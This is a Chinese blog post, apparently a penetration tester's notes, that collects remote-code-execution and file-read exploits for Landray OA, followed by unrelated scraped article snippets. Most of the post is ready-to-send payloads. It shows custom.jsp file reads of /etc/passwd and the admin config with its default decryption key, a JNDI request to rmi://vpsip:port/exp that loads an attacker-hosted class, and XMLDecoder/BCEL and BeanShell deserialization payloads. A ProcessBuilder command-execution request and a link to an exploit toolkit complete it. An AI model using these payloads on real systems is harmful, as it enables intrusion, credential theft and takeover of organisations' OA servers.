蓝凌(Landray)OA漏洞常见RCE

news/2025/1/20 17:32:01/

目录

  • 前言
  • 任意文件读取漏洞
    • 漏洞描述
    • 漏洞复现
  • SSRF+JNDI远程命令执行
    • 漏洞描述
    • 漏洞复现
  • sysSearchMain.do XMLdecode反序列化(任意文件写入)
    • 漏洞描述
    • 漏洞复现
  • 公式编辑器RCE
    • 漏洞描述
    • 漏洞复现

前言

背景是由于一次和友商共同的渗透项目测试中,其中一个系统使用了蓝凌OA,但当时由于一些原因觉得版本挺新应该是打了补丁的故在测试中没有仔细遍历复现蓝凌OA的历史常见RCE漏洞,后续对比了友商的报告发现别人测的两个RCE,故统一做个poc积累学习,混个眼熟防止下次渗透或攻防时漏掉。

任意文件读取漏洞

漏洞描述

蓝凌OA(EKP)存在任意文件读取漏洞可能导致敏感信息泄露。

漏洞复现

漏洞路径:/sys/ui/extend/varkind/custom.jsp,访问后抓包,在body中加入payload:var={“body”:{“file”:“file:///etc/passwd”}},发送post请求。
在这里插入图片描述

SSRF+JNDI远程命令执行

漏洞描述

配合上述任意文件读取漏洞获取敏感信息,读取配置文件得到密钥后访问 admin.do 可利用 JNDI远程命令执行获取权限。

漏洞复现

利用任意文件读取/WEB-INF/KmssConfig/admin.properties配置文件
在这里插入图片描述由此获得加密的password,据说蓝凌OA默认为DES加密,且有个默认密钥为 kmssAdminKey,可以拿着password在在线网站上尝试解密(返回的password字符串去掉末尾的/r在进行解密)
在这里插入图片描述用解密出来的明文密码尝试登录后台地址:admin.do,此地址也可能由爆破得到:
在这里插入图片描述在这里插入图片描述burp抓包,body添加payload:method=testDbConn&datasource=rmi://vpsip:port/exp,exp构造同常见的如fastjson所用:
在这里插入图片描述写入想执行的命令并编译成恶意类(编译兼容java1.7)后放到web服务器上。再使用marshalsec工具(https://github.com/mbechler/marshalsec)构建一个JNDI服务。
在这里插入图片描述发送payload:
在这里插入图片描述

sysSearchMain.do XMLdecode反序列化(任意文件写入)

漏洞描述

sysSearchMain.do文件,存在任意文件写入漏洞,攻击者获取后台权限后可通过漏洞写入任意文件,也可以通过 custom.jsp 文件未授权写入恶意文件,导致RCE。

漏洞复现

若通过custom.jsp写入,payload为:var={“body”:{“file”:“/sys/search/sys_search_main/sysSearchMain.do?method=editParam”}}&fdParemNames=11&fdParameters=[shellcode]
shellcode:<java> <void class="com.sun.org.apache.bcel.internal.util.ClassLoader"> <void method="loadClass"> <string>$$BCEL$$......</string> <void method="newInstance"></void> </void> </void> </java> //使用了BCEL利用链(BCEL包下的ClassLoader类)
同上一漏洞一样编译恶意exp类//不要使用java8u251以后版本
在这里插入图片描述使用BCEL编码工具:https://github.com/Xd-tl/BCELCode
插入发送:
在这里插入图片描述漏洞成因对FdParameters参数过滤不严,传给ojectXmlDecoder造成反序列化。
tips:如果OA存在bsh可直接执行命令,可直接回显或打入内存马,或者后台洞情况,web管理员权限添加反序列化白名单:如bsh.Intepreter(BeanShell利用链中bash.Interpreter的eval方法)
在这里插入图片描述payload:var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<java><void class="bsh.Interpreter"><void method="eval"><string>Runtime.getRuntime().exec("calc");</string></void></void></java>
回显payload:
在这里插入图片描述//太菜了不懂回显payload细节

公式编辑器RCE

漏洞描述

dataxml.jsp 、treexml.tmpl等代码执行

漏洞复现

漏洞地址:/data/sys-common/treexml.tmpl、 /sys/common/dataxml.jsp、 /sys/common/treexml.jsp、 /sys/common/treejson.jsp、 /sys/common/datajson.jsp、 /data/sys-common/dataxml、 /data/sys-common/treexml、 /data/sys-common/datajson
以上地址都可以尝试一下
payload如:

POST /sys/ui/extend/varkind/custom.jsp  HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 176var={"body":{"file":"/data/sys-common/datajson"}}&s_bean=sysFormulaValidateByJS&script=new java.lang.ProcessBuilder['(java.lang.String[])'](['sh','-c','touch /tmp/1']).start();

s_bean或为RuleFormulaValidate对应treexml.tmplsysFormulaValidateByJS
具体原理和利用区别可查看https://unsafe.sh/go-123305.html
最后再放一个OA集合利用的工具:https://github.com/LittleBear4/OA-EXPTOOL
在这里插入图片描述


http://www.ppmy.cn/news/341271.html

相关文章

蓝凌OA系统任意文件读取

使用需知 由于传播和使用本文所提供的任何直接或间接的后果和损失&#xff0c;均由用户承担&#xff0c;作者对此不承担任何责任。如果文章出现敏感内容产生不良影响,请联系作者删除。 本文为工作中遇到的漏洞&#xff0c;文章为自己复现做的相关笔记&#xff0c;参考了很多前…

2核4G云服务器可以支持多少个网站数量?多维度权衡

2核4G服务器可以安装多少个网站&#xff1f;阿腾云2核4G5M带宽服务器目前安装了14个网站&#xff0c;从技术角度是没有限制的&#xff0c;只要云服务器性能够用&#xff0c;想安装几个网站就安装几个网站&#xff0c;但是从公网带宽和CPU计算性能方面考虑&#xff0c;要计算网站…

美团、抖音“卷”向本地生活B端

配图来自Canva可画 当美团与大众点评的合并案落下帷幕&#xff0c;美团在本地生活领域的江湖地位就算是基本奠定了。只不过&#xff0c;随着互联网技术的不断发展和创新&#xff0c;本地生活服务又被提供了更多的可能性和新机遇。因此&#xff0c;尽管美团严防死守&#xff0c…

thinkphp5登录点击验证码不显示解决

可以通过写前端事件点击获取&#xff1a; <img style"width:110px; border:0;padding:0;" src"{:captcha_src()}" class" verifyimg reloadverify"> jquery: var verifyimg $(".verifyimg").attr("src");$("…

MySQL优化六-优化慢查询

本文主要总结&#xff0c;如何提升性能低下的查询。慢查询的基本原因是&#xff0c;访问的数据太多&#xff0c;而很多情况下不需要筛选大量数据。对于低效的查询&#xff0c;可通过以下两个步骤分析&#xff1a; 目录 一、是否检索到大量超过需要的数据&#xff0c;意味着访问…

mysql用户和备份

mysql用户和备份 mysql8 密码配置 ALTER USER rootlocalhost IDENTIFIED BY 123456 PASSWORD EXPIRE NEVER; ALTER USER rootlocalhost IDENTIFIED WITH mysql_native_password BY 123456; flush privileges;开放外网端口 use mysql; update user set host"%" w…

推荐几个好用的AI 工具

文章目录 思维导图gmindAI文档写作工具notion aiAI 辅助阅读工具&#xff1a;ChatDOCAI 笔记软件& 知识库&#xff1a;FlowUsAI 一键生成 PPT&#xff1a;ChatPPT、MotionGo专业 PPT 插件&#xff1a;iSlideAI 智能设计工具&#xff1a;Logosc 标小智 思维导图gmind https:…

电脑病毒木马怎么彻底清除

具体方法步骤&#xff1a; 1、当我们的电脑存在木马、电脑网络病毒后&#xff0c;我们需要在第一时间针对电脑木马进行查杀和清除。首先&#xff0c;我们需要在我们的电脑中安装和下载腾讯电脑管家&#xff0c;下载完成后&#xff0c;打开电脑中的腾讯电脑管家。 2、在腾讯电脑…